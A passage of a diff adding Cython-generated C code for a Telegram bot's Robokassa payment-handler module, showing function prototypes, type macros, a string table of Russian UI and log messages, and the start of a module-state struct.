CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, + PyObject *tuple); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, + PyObject *dict); +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, + PyObject *dict); +static int __pyx_CyFunction_init(PyObject *module); +#if CYTHON_METH_FASTCALL +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +#if CYTHON_BACKPORT_VECTORCALL +#define __Pyx_CyFunction_func_vectorcall(f) (((__pyx_CyFunctionObject*)f)->func_vectorcall) +#else +#define __Pyx_CyFunction_func_vectorcall(f) (((PyCFunctionObject*)f)->vectorcall) +#endif +#endif + +/* CythonFunction.proto */ +static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); + +/* CLineInTraceback.proto */ +#ifdef CYTHON_CLINE_IN_TRACEBACK +#define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) +#else +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); +#endif + +/* CodeObjectCache.proto */ +#if !CYTHON_COMPILING_IN_LIMITED_API +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); +#endif + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* GCCDiagnostics.proto */ +#if !defined(__INTEL_COMPILER) && defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) +#define __Pyx_HAS_GCC_DIAGNOSTIC +#endif + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* FormatTypeName.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +typedef PyObject *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%U" +static __Pyx_TypeName __Pyx_PyType_GetName(PyTypeObject* tp); +#define __Pyx_DECREF_TypeName(obj) Py_XDECREF(obj) +#else +typedef const char *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%.200s" +#define __Pyx_PyType_GetName(tp) ((tp)->tp_name) +#define __Pyx_DECREF_TypeName(obj) +#endif + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* FastTypeChecks.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) __Pyx_IsAnySubtype2(Py_TYPE(obj), (PyTypeObject *)type1, (PyTypeObject *)type2) +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); +#else +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) (PyObject_TypeCheck(obj, (PyTypeObject *)type1) || PyObject_TypeCheck(obj, (PyTypeObject *)type2)) +#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) +#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) +#endif +#define __Pyx_PyErr_ExceptionMatches2(err1, err2) __Pyx_PyErr_GivenExceptionMatches2(__Pyx_PyErr_CurrentExceptionType(), err1, err2) +#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) + +/* CheckBinaryVersion.proto */ +static unsigned long __Pyx_get_runtime_version(void); +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + +/* #### Code section: module_declarations ### */ + +/* Module declarations from "handlers.payments.robokassa_pay" */ +/* #### Code section: typeinfo ### */ +/* #### Code section: before_global_var ### */ +#define __Pyx_MODULE_NAME "handlers.payments.robokassa_pay" +extern int __pyx_module_is_main_handlers__payments__robokassa_pay; +int __pyx_module_is_main_handlers__payments__robokassa_pay = 0; + +/* Implementation of "handlers.payments.robokassa_pay" */ +/* #### Code section: global_var ### */ +static PyObject *__pyx_builtin_range; +static PyObject *__pyx_builtin_ValueError; +/* #### Code section: string_decls ### */ +static const char __pyx_k_[] = "\320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\261\320\260\320\273\320\260\320\275\321\201\320\260"; +static const char __pyx_k_F[] = "F"; +static const char __pyx_k_e[] = "e"; +static const char __pyx_k_i[] = "i"; +static const char __pyx_k_OK[] = "OK"; +static const char __pyx_k__3[] = "\360\237\222\260 \320\222\320\262\320\265\321\201\321\202\320\270 \321\201\320\262\320\276\321\216 \321\201\321\203\320\274\320\274\321\203"; +static const char __pyx_k__4[] = "\342\254\205\357\270\217 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__5[] = "\320\222\321\213\320\261\320\265\321\200\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217:"; +static const char __pyx_k__6[] = "."; +static const char __pyx_k__8[] = "|"; +static const char __pyx_k__9[] = "\320\236\321\210\320\270\320\261\320\272\320\260: \320\264\320\260\320\275\320\275\321\213\320\265 \320\277\320\276\320\262\321\200\320\265\320\266\320\264\320\265\320\275\321\213."; +static const char __pyx_k_gc[] = "gc"; +static const char __pyx_k_id[] = "id"; +static const char __pyx_k_Any[] = "Any"; +static const char __pyx_k__10[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\277\320\276\320\273\320\276\320\266\320\270\321\202\320\265\320\273\321\214\320\275\321\213\320\274 \321\207\320\270\321\201\320\273\320\276\320\274."; +static const char __pyx_k__12[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\276\320\265 \320\267\320\275\320\260\321\207\320\265\320\275\320\270\320\265 \321\201\321\203\320\274\320\274\321\213: "; +static const char __pyx_k__13[] = ". \320\236\321\210\320\270\320\261\320\272\320\260: "; +static const char __pyx_k__14[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260."; +static const char __pyx_k__15[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\261\320\260\320\273\320\260\320\275\321\201\320\260"; +static const char __pyx_k__16[] = ": "; +static const char __pyx_k__17[] = "\320\236\320\277\320\273\320\260\321\202\320\270\321\202\321\214"; +static const char __pyx_k__18[] = "\320\222\321\213 \320\262\321\213\320\261\321\200\320\260\320\273\320\270 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\275\320\260 "; +static const char __pyx_k__19[] = " \321\200\321\203\320\261\320\273\320\265\320\271. \320\224\320\273\321\217 \320\276\320\277\320\273\320\260\321\202\321\213 \320\277\320\265\321\200\320\265\320\271\320\264\320\270\321\202\320\265 \320\277\320\276 \321\201\321\201\321\213\320\273\320\272\320\265 \320\275\320\270\320\266\320\265:"; +static const char __pyx_k__21[] = "\320\235\320\265\320\262\320\265\321\200\320\275\320\260\321\217 \320\277\320\276\320\264\320\277\320\270\321\201\321\214 \320\270\320\273\320\270 \320\264\320\260\320\275\320\275\321\213\320\265 \320\267\320\260\320\277\321\200\320\276\321\201\320\260."; +static const char __pyx_k__22[] = "\320\236\321\202\321\201\321\203\321\202\321\201\321\202\320\262\321\203\321\216\321\202 \320\276\320\261\321\217\320\267\320\260\321\202\320\265\320\273\321\214\320\275\321\213\320\265 \320\277\320\260\321\200\320\260\320\274\320\265\321\202\321\200\321\213."; +static const char __pyx_k__23[] = ":"; +static const char __pyx_k__25[] = "\360\237\224\231 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__26[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217."; +static const char __pyx_k__29[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260 \320\276\321\202 \320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\321\202\320\265\320\273\321\217 "; +static const char __pyx_k__30[] = "\320\222\320\262\320\265\320\264\320\270\321\202\320\265 \320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\321\203\321\216 \321\201\321\203\320\274\320\274\321\203 \320\262 \321\200\321\203\320\261\320\273\321\217\321\205 (\321\206\320\265\320\273\320\276\320\265 \320\277\320\276\320\273\320\276\320\266\320\270\321\202\320\265\320\273\321\214\320\275\320\276\320\265 \321\207\320\270\321\201\320\273\320\276)."; +static const char __pyx_k__31[] = "*"; +static const char __pyx_k__42[] = "?"; +static const char __pyx_k_doc[] = "__doc__"; +static const char __pyx_k_get[] = "get"; +static const char __pyx_k_md5[] = "md5"; +static const char __pyx_k_pay[] = "pay"; +static const char __pyx_k_row[] = "row"; +static const char __pyx_k_url[] = "url"; +static const char __pyx_k_web[] = "web"; +static const char __pyx_k_User[] = "User "; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_chat[] = "chat"; +static const char __pyx_k_data[] = "data"; +static const char __pyx_k_dict[] = "__dict__"; +static const char __pyx_k_info[] = "info"; +static const char __pyx_k_link[] = "link"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_name[] = "__name__"; +static const char __pyx_k_post[] = "post"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_spec[] = "__spec__"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_text[] = "text"; +static const char __pyx_k_InvId[] = "InvId"; +static const char __pyx_k_State[] = "State"; +static const char __pyx_k_await[] = "__await__"; +static const char __pyx_k_clear[] = "clear"; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_debug[] = "debug"; +static const char __pyx_k_error[] = "error"; +static const char __pyx_k_range[] = "range"; +static const char __pyx_k_split[] = "split"; +static const char __pyx_k_state[] = "state"; +static const char __pyx_k_super[] = "super"; +static const char __pyx_k_tg_id[] = "tg_id"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_trial[] = "trial"; +static const char __pyx_k_types[] = "types"; +static const char __pyx_k_upper[] = "upper"; +static const char __pyx_k_OutSum[] = "OutSum"; +static const char __pyx_k_Router[] = "Router"; +static const char __pyx_k_amount[] = "amount"; +static const char __pyx_k_answer[] = "answer"; +static const char __pyx_k_config[] = "config"; +static const char __pyx_k_enable[] = "enable"; +static const char __pyx_k_exists[] = "exists"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_inv_id[] = "inv_id"; +static const char __pyx_k_logger[] = "logger"; +static const char __pyx_k_module[] = "__module__"; +static const char __pyx_k_params[] = "params"; +static const char __pyx_k_router[] = "router"; +static const char __pyx_k_shp_id[] = "shp_id"; +static const char __pyx_k_status[] = "status"; +static const char __pyx_k_typing[] = "typing"; +static const char __pyx_k_InvId_2[] = ", InvId: "; +static const char __pyx_k_aiogram[] = "aiogram"; +static const char __pyx_k_aiohttp[] = "aiohttp"; +static const char __pyx_k_balance[] = "balance"; +static const char __pyx_k_builder[] = "builder"; +static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_hashlib[] = "hashlib"; +static const char __pyx_k_is_test[] = "is_test"; +static const char __pyx_k_message[] = "message"; +static const char __pyx_k_out_sum[] = "out_sum"; +static const char __pyx_k_payment[] = "_payment"; +static const char __pyx_k_prepare[] = "__prepare__"; +static const char __pyx_k_request[] = "request"; +static const char __pyx_k_session[] = "session"; +static const char __pyx_k_OutSum_2[] = "OutSum: "; +static const char __pyx_k_Response[] = "Response"; +static const char __pyx_k_database[] = "database"; +static const char __pyx_k_inv_id_2[] = ", inv_id: "; +static const char __pyx_k_qualname[] = "__qualname__"; +static const char __pyx_k_set_name[] = "__set_name__"; +static const char __pyx_k_shp_id_2[] = ", shp_id: "; +static const char __pyx_k_shp_id_3[] = ":shp_id="; +static const char __pyx_k_Robokassa[] = "Robokassa"; +static const char __pyx_k_algorithm[] = "algorithm"; +static const char __pyx_k_as_markup[] = "as_markup"; +static const char __pyx_k_hexdigest[] = "hexdigest"; +static const char __pyx_k_isenabled[] = "isenabled"; +static const char __pyx_k_key_count[] = "key_count"; +static const char __pyx_k_metaclass[] = "__metaclass__"; +static const char __pyx_k_password1[] = "password1"; +static const char __pyx_k_password2[] = "password2"; +static const char __pyx_k_robokassa[] = "robokassa"; +static const char __pyx_k_set_state[] = "set_state"; +static const char __pyx_k_FSMContext[] = "FSMContext"; +static const char __pyx_k_ValueError[] = "ValueError"; +static const char __pyx_k_amount_str[] = "amount_str"; +static const char __pyx_k_startswith[] = "startswith"; +static const char __pyx_k_StatesGroup[] = "StatesGroup"; +static const char __pyx_k_add_payment[] = "add_payment"; +static const char __pyx_k_description[] = "description"; +static const char __pyx_k_mro_entries[] = "__mro_entries__"; +static const char __pyx_k_payment_url[] = "payment_url"; +static const char __pyx_k_update_data[] = "update_data"; +static const char __pyx_k_with_amount[] = " with amount "; +static const char __pyx_k_initializing[] = "_initializing"; +static const char __pyx_k_is_coroutine[] = "_is_coroutine"; +static const char __pyx_k_payment_link[] = "payment_link"; +static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char __pyx_k_HashAlgorithm[] = "HashAlgorithm"; +static const char __pyx_k_aiogram_types[] = "aiogram.types"; +static const char __pyx_k_callback_data[] = "callback_data"; +static const char __pyx_k_class_getitem[] = "__class_getitem__"; +static const char __pyx_k_description_2[] = ", description: "; +static const char __pyx_k_get_key_count[] = "get_key_count"; +static const char __pyx_k_init_subclass[] = "__init_subclass__"; +static const char __pyx_k_pay_robokassa[] = "pay_robokassa"; +static const char __pyx_k_types_Message[] = "types.Message"; +static const char __pyx_k_SignatureValue[] = "SignatureValue"; +static const char __pyx_k_add_connection[] = "add_connection"; +static const char __pyx_k_callback_query[] = "callback_query"; +static const char __pyx_k_handlers_texts[] = "handlers.texts"; +static const char __pyx_k_merchant_login[] = "merchant_login"; +static const char __pyx_k_update_balance[] = "update_balance"; +static const char __pyx_k_PAYMENT_OPTIONS[] = "PAYMENT_OPTIONS"; +static const char __pyx_k_ROBOKASSA_LOGIN[] = "ROBOKASSA_LOGIN"; +static const char __pyx_k_callback_data_2[] = "\320\237\320\276\320\273\321\203\321\207\320\265\320\275\321\213 \320\264\320\260\320\275\320\275\321\213\320\265 callback_data: "; +static const char __pyx_k_callback_data_3[] = "\320\236\321\210\320\270\320\261\320\272\320\260: callback_data \320\275\320\265 \321\201\320\276\320\276\321\202\320\262\320\265\321\202\321\201\321\202\320\262\321\203\320\265\321\202 \321\204\320\276\321\200\320\274\320\260\321\202\321\203."; +static const char __pyx_k_inline_keyboard[] = "inline_keyboard"; +static const char __pyx_k_selected_amount[] = " selected amount: "; +static const char __pyx_k_signature_value[] = "signature_value"; +static const char __pyx_k_ROBOKASSA_ENABLE[] = "ROBOKASSA_ENABLE"; +static const char __pyx_k_SignatureValue_2[] = ", SignatureValue: "; +static const char __pyx_k_confirm_keyboard[] = "confirm_keyboard"; +static const char __pyx_k_robokassa_amount[] = "robokassa_amount|"; +static const char __pyx_k_signature_string[] = "signature_string"; +static const char __pyx_k_with_balance_0_0[] = " with balance 0.0."; +static const char __pyx_k_aiogram_fsm_state[] = "aiogram.fsm.state"; +static const char __pyx_k_robokassa_webhook[] = "robokassa_webhook"; +static const char __pyx_k_Expected_signature[] = "Expected signature: "; +static const char __pyx_k_Received_signature[] = "Received signature: "; +static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; +static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; +static const char __pyx_k_expected_signature[] = "expected_signature"; +static const char __pyx_k_generate_by_script[] = "generate_by_script"; +static const char __pyx_k_ROBOKASSA_PASSWORD1[] = "ROBOKASSA_PASSWORD1"; +static const char __pyx_k_ROBOKASSA_PASSWORD2[] = "ROBOKASSA_PASSWORD2"; +static const char __pyx_k_ROBOKASSA_TEST_MODE[] = "ROBOKASSA_TEST_MODE"; +static const char __pyx_k_aiogram_fsm_context[] = "aiogram.fsm.context"; +static const char __pyx_k_types_CallbackQuery[] = "types.CallbackQuery"; +static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; +static const char __pyx_k_InlineKeyboardMarkup[] = "InlineKeyboardMarkup"; +static const char __pyx_k_Payment_URL_for_user[] = "Payment URL for user "; +static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; +static const char __pyx_k_ReplenishBalanceState[] = "ReplenishBalanceState"; +static const char __pyx_k_entered_custom_amount[] = " entered custom amount: "; +static const char __pyx_k_generate_payment_link[] = "generate_payment_link"; +static const char __pyx_k_Generated_payment_link[] = "Generated payment link: "; +static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; +static const char __pyx_k_Received_webhook_params[] = "Received webhook params: "; +static const char __pyx_k_check_connection_exists[] = "check_connection_exists"; +static const char __pyx_k_check_payment_signature[] = "check_payment_signature"; +static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; +static const char __pyx_k_Error_processing_webhook[] = "Error processing webhook: "; +static const char __pyx_k_process_amount_selection[] = "process_amount_selection"; +static const char __pyx_k_Payment_link_sent_to_user[] = "Payment link sent to user "; +static const char __pyx_k_choosing_amount_robokassa[] = "choosing_amount_robokassa"; +static const char __pyx_k_handle_custom_amount_input[] = "handle_custom_amount_input"; +static const char __pyx_k_Processing_payment_for_user[] = "Processing payment for user "; +static const char __pyx_k_initiated_Robokassa_payment[] = " initiated Robokassa payment."; +static const char __pyx_k_enter_custom_amount_robokassa[] = "enter_custom_amount_robokassa"; +static const char __pyx_k_chose_to_enter_a_custom_amount[] = " chose to enter a custom amount."; +static const char __pyx_k_process_callback_pay_robokassa[] = "process_callback_pay_robokassa"; +static const char __pyx_k_Created_new_connection_for_user[] = "Created new connection for user "; +static const char __pyx_k_Generated_payment_link_for_user[] = "Generated payment link for user "; +static const char __pyx_k_Signature_string_before_hashing[] = "Signature string before hashing: "; +static const char __pyx_k_handlers_payments_robokassa_pay[] = "handlers.payments.robokassa_pay"; +static const char __pyx_k_process_custom_amount_selection[] = "process_custom_amount_selection"; +static const char __pyx_k_Displayed_amount_selection_for_u[] = "Displayed amount selection for user "; +static const char __pyx_k_Generating_payment_link_for_amou[] = "Generating payment link for amount: "; +static const char __pyx_k_Payment_successful_Balance_updat[] = "Payment successful. Balance updated for user "; +static const char __pyx_k_Robokassa_initialized_with_login[] = "Robokassa initialized with login: {}"; +static const char __pyx_k_send_payment_success_notificatio[] = "send_payment_success_notification"; +static const char __pyx_k_waiting_for_payment_confirmation[] = "waiting_for_payment_confirmation_robokassa"; +static const char __pyx_k_handlers_payments_robokassa_pay_2[] = "handlers/payments/robokassa_pay.py"; +/* #### Code section: decls ### */ +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_generate_payment_link(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_amount, PyObject *__pyx_v_inv_id, PyObject *__pyx_v_description, PyObject *__pyx_v_tg_id); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_2process_callback_pay_robokassa(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_5process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_8robokassa_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_11check_payment_signature(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_params); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_13process_custom_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_16handle_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +/* #### Code section: late_includes ### */ +/* #### Code section: module_state ### */ +typedef struct { + PyObject *__pyx_d; + PyObject *__pyx_b; + PyObject *__pyx_cython_runtime; + PyObject *__pyx_empty_tuple; + PyObject *__pyx_empty_bytes; + PyObject *__pyx_empty_unicode; + #ifdef __Pyx_CyFunction_USED + PyTypeObject *__pyx_CyFunctionType; + #endif + #ifdef __Pyx_FusedFunction_USED + PyTypeObject *__pyx_FusedFunctionType; + #endif + #ifdef __Pyx_Generator_USED + PyTypeObject *__pyx_GeneratorType; + #endif + #ifdef __Pyx_IterableCoroutine_USED + PyTypeObject *__pyx_IterableCoroutineType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineAwaitType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineType; + #endif + #if CYTHON_USE_MODULE_STATE + PyObject *__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa; + PyObject *__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection; + PyObject *__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook; + PyObject *__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection; + PyObject *__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input; + #endif + PyTypeObject *__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa; + PyTypeObject *__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection; + PyTypeObject *__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook; + PyTypeObject *__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection; + PyTypeObject *__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input; + PyObject *__pyx_kp_u_; + PyObject *__pyx_n_s_Any; + PyObject *__pyx_kp_u_Created_new_connection_for_user; + PyObject *__pyx_kp_u_Displayed_amount_selection_for_u; + PyObject *__pyx_kp_u_Error_processing_webhook; + PyObject *__pyx_kp_u_Expected_signature; + PyObject *__pyx_n_s_F; + PyObject *__pyx_n_s_FSMContext; + PyObject *__pyx_kp_u_Generated_payment_link; + PyObject *__pyx_kp_u_Generated_payment_link_for_user; + PyObject *__pyx_kp_u_Generating_payment_link_for_amou; + PyObject *__pyx_n_s_HashAlgorithm; + PyObject *__pyx_n_s_InlineKeyboardBuilder; + PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_n_s_InlineKeyboardMarkup; + PyObject *__pyx_n_u_InvId; + PyObject *__pyx_kp_u_InvId_2; + PyObject *__pyx_n_u_OK; + PyObject *__pyx_n_u_OutSum; + PyObject *__pyx_kp_u_OutSum_2; + PyObject *__pyx_n_s_PAYMENT_OPTIONS; + PyObject *__pyx_kp_u_Payment_URL_for_user; + PyObject *__pyx_kp_u_Payment_link_sent_to_user; + PyObject *__pyx_kp_u_Payment_successful_Balance_updat; + PyObject *__pyx_kp_u_Processing_payment_for_user; + PyObject *__pyx_n_s_ROBOKASSA_ENABLE; + PyObject *__pyx_n_s_ROBOKASSA_LOGIN; + PyObject *__pyx_n_s_ROBOKASSA_PASSWORD1; + PyObject *__pyx_n_s_ROBOKASSA_PASSWORD2; + PyObject *__pyx_n_s_ROBOKASSA_TEST_MODE; + PyObject *__pyx_kp_u_Received_signature; + PyObject *__pyx_kp_u_Received_webhook_params; + PyObject *__pyx_n_s_ReplenishBalanceState; + PyObject *__pyx_n_s_Response; + PyObject *__pyx_n_s_Robokassa; + PyObject *__pyx_kp_u_Robokassa_initialized_with_login; + PyObject *__pyx_n_s_Router; + PyObject *__pyx_n_u_SignatureValue; + PyObject *__pyx_kp_u_SignatureValue_2; + PyObject *__pyx_kp_u_Signature_string_before_hashing; + PyObject *__pyx_n_s_State; + PyObject *__pyx_n_s_StatesGroup; + PyObject *__pyx_kp_u_User; + PyObject *__pyx_n_s_ValueError; + PyObject *__pyx_kp_u__10; + PyObject *__pyx_kp_u__12; + PyObject *__pyx_kp_u__13; + PyObject *__pyx_kp_u__14; + PyObject *__pyx_kp_u__15; + PyObject *__pyx_kp_u__16; + PyObject *__pyx_n_u__17; + PyObject *__pyx_kp_u__18; + PyObject *__pyx_kp_u__19; + PyObject *__pyx_kp_u__21; + PyObject *__pyx_kp_u__22; + PyObject *__pyx_kp_u__23; + PyObject *__pyx_kp_u__25; + PyObject *__pyx_kp_u__26; + PyObject *__pyx_kp_u__29; + PyObject *__pyx_kp_u__3; + PyObject *__pyx_kp_u__30; + PyObject *__pyx_n_s__31; + PyObject *__pyx_kp_u__4; + PyObject *__pyx_n_s__42; + PyObject *__pyx_kp_u__5; + PyObject *__pyx_kp_u__6; + PyObject *__pyx_kp_u__8; + PyObject *__pyx_kp_u__9; + PyObject *__pyx_n_s_add_connection; + PyObject *__pyx_n_s_add_payment; + PyObject *__pyx_n_s_aiogram; + PyObject *__pyx_n_s_aiogram_fsm_context; + PyObject *__pyx_n_s_aiogram_fsm_state; + PyObject *__pyx_n_s_aiogram_types; + PyObject *__pyx_n_s_aiogram_utils_keyboard; + PyObject *__pyx_n_s_aiohttp; + PyObject *__pyx_n_s_algorithm; + PyObject *__pyx_n_s_amount; + PyObject *__pyx_n_u_amount; + PyObject *__pyx_n_s_amount_str; + PyObject *__pyx_n_s_answer; + PyObject *__pyx_n_s_args; + PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_await; + PyObject *__pyx_n_s_balance; + PyObject *__pyx_n_s_builder; + PyObject *__pyx_n_s_callback_data; + PyObject *__pyx_n_u_callback_data; + PyObject *__pyx_kp_u_callback_data_2; + PyObject *__pyx_kp_u_callback_data_3; + PyObject *__pyx_n_s_callback_query; + PyObject *__pyx_n_s_chat; + PyObject *__pyx_n_s_check_connection_exists; + PyObject *__pyx_n_s_check_payment_signature; + PyObject *__pyx_n_s_choosing_amount_robokassa; + PyObject *__pyx_kp_u_chose_to_enter_a_custom_amount; + PyObject *__pyx_n_s_class_getitem; + PyObject *__pyx_n_s_clear; + PyObject *__pyx_n_s_cline_in_traceback; + PyObject *__pyx_n_s_close; + PyObject *__pyx_n_s_config; + PyObject *__pyx_n_s_confirm_keyboard; + PyObject *__pyx_n_s_data; + PyObject *__pyx_n_s_database; + PyObject *__pyx_n_s_debug; + PyObject *__pyx_n_s_description; + PyObject *__pyx_kp_u_description_2; + PyObject *__pyx_n_s_dict; + PyObject *__pyx_kp_u_disable; + PyObject *__pyx_n_s_doc; + PyObject *__pyx_n_s_e; + PyObject *__pyx_kp_u_enable; 